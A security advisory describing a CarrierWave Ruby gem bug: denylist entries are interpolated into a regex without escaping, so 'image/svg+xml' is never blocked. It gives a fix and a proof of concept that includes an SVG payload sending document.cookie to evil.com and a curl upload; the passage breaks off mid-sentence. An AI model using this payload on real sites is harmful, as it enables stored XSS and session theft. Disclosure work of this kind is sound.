Summary CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. Note: CarrierWave is aware "#content_type_denylist is deprecated for the security reason", but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without "Regexp.quote" or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else. Details In "lib/carrierwave/uploader/content_type_denylist.rb:57", string denylist entries are interpolated directly into a regex without "Regexp.quote" or anchoring: def denylisted_content_type?(denylist, content_type) Array(denylist).any? { |item| content_type =~ /#{item}/ } end The entry "image/svg+xml" becomes the regex /image/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +. This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor: rubydef allowlisted_content_type?(allowlist, content_type) Array(allowlist).any? do |item| item = Regexp.quote(item) if item.class != Regexp content_type =~ /\A#{item}/ end end Other affected MIME types include "application/xhtml+xml" and any type containing regex metacharacters. Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation: rubydef denylisted_content_type?(denylist, content_type) Array(denylist).any? do |item| item = Regexp.quote(item) if item.class != Regexp content_type =~ /\A#{item}/ end end PoC app.rb require "sinatra" require "carrierwave" require "fileutils" FileUtils.mkdir_p("uploads/files") CarrierWave.configure do |config| config.root = File.expand_path("uploads") config.store_dir = "files" end class VaultUploader < CarrierWave::Uploader::Base storage :file def store_dir = "files" def content_type_denylist = %w[image/svg+xml] end post "/upload" do content_type :json san = CarrierWave::SanitizedFile.new( tempfile: params[:file][:tempfile], filename: params[:file][:filename], content_type: params[:file][:type] ) uploader = VaultUploader.new begin uploader.store!(san) { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json rescue CarrierWave::IntegrityError => e { result: "blocked", message: e.message }.to_json end end bundle exec ruby app.rb & echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg curl -X POST http://localhost:4567/upload -F "file=@xss.svg;type=image/svg+xml" Expected response (denylist working): json{ "result": "blocked", "message": "..." } Actual response: json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." } Impact Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary